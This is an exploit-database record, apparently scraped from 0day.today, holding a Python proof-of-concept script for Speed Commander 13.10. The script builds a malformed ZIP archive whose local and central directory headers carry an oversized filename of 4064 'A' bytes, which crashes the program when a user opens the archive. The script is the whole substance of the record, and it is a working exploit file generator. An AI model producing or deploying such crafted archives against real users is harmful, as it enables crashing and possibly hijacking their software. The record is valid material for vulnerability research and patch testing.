Speed Commander 13.10 (.zip) Memory Corruption

{"type": "zdt", "lastseen": "2016-04-19T04:06:24", "bulletinFamily": "exploit", "cvelist": [], "history": [], "title": "Speed Commander 13.10 (.zip) Memory Corruption", "published": "2010-04-20T00:00:00", "href": "http://0day.today/exploit/description/11908", "cvss": {"vector": "NONE", "score": 0.0}, "description": "Exploit for windows platform in category dos / poc", "hash": "bfaa08c5dc77cb5a5c593dcf97158888de38023bfa55b45865b92948747473bb", "references": [], "objectVersion": "1.0", "edition": 1, "sourceData": "==============================================\r\nSpeed Commander 13.10 (.zip) Memory Corruption\r\n==============================================\r\n\r\n#!/usr/bin/python\r\n# #######################################################################\r\n# Title: Speed Commander 13.10 (.zip) Memory Corruption\r\n# Author: TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c\r\n# Found by: TecR0c\r\n# Download: http://www.sp-download.de/sc13/sc13.exe\r\n# Platform: Windows XP sp3 En\r\n# Advisory: http://www.corelan.be:8800/advisories.php?id=CORELAN-10-028\r\n# Greetz to: Corelan Security Team\r\n# http://www.corelan.be:8800/index.php/security/corelan-team-members/\r\n# #######################################################################\r\n# Script provided 'as is', without any warranty.\r\n# Use for educational purposes only.\r\n# Do not use this code to do anything illegal !\r\n#\r\n# Note : you are not allowed to edit/modify this code.\r\n# If you do, Corelan cannot be held responsible for any damages this may cause.\r\n \r\n# Trigger : Open the application, Browse to the zip file > double click = BOOM!\r\n \r\nprint \"|------------------------------------------------------------------|\"\r\nprint \"| __ __ |\"\r\nprint \"| _________ ________ / /___ _____ / /____ ____ _____ ___ |\"\r\nprint \"| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\"\r\nprint \"| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\"\r\nprint \"| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\"\r\nprint \"| |\"\r\nprint \"| http://www.corelan.be:8800 |\"\r\nprint \"| security@corelan.be |\"\r\nprint \"| |\"\r\nprint \"|-------------------------------------------------[ EIP Hunters ]--|\"\r\nprint \"[+] SpeedCommander (.zip) - by TecR0c\"\r\n \r\n \r\nldf_header = (\"\\x50\\x4B\\x03\\x04\\x14\\x00\\x00\\x00\\x00\\x00\\xB7\\xAC\\xCE\\x34\\x00\\x00\\x00\"\r\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\"\\xe4\\x0f\"\r\n\"\\x00\\x00\\x00\")\r\n \r\ncdf_header = (\"\\x50\\x4B\\x01\\x02\\x14\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\xB7\\xAC\\xCE\\x34\\x00\\x00\\x00\"\r\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\"\\xe4\\x0f\"\r\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\"\r\n\"\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\r\n \r\neofcdf_header = (\"\\x50\\x4B\\x05\\x06\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\"\r\n\"\\x12\\x10\\x00\\x00\"\r\n\"\\x02\\x10\\x00\\x00\"\r\n\"\\x00\\x00\")\r\n \r\nbuff = \"\\x41\" * 4064\r\nbuff += \".txt\"\r\n \r\nmefile = open('SpeedCommander.zip','w');\r\nmefile.write(ldf_header + buff + cdf_header + buff + eofcdf_header);\r\nmefile.close()\r\n\r\n\n\n# 0day.today [2016-04-19] #", "id": "1337DAY-ID-11908", "sourceHref": "http://0day.today/exploit/11908", "modified": "2010-04-20T00:00:00", "reporter": "TecR0c"}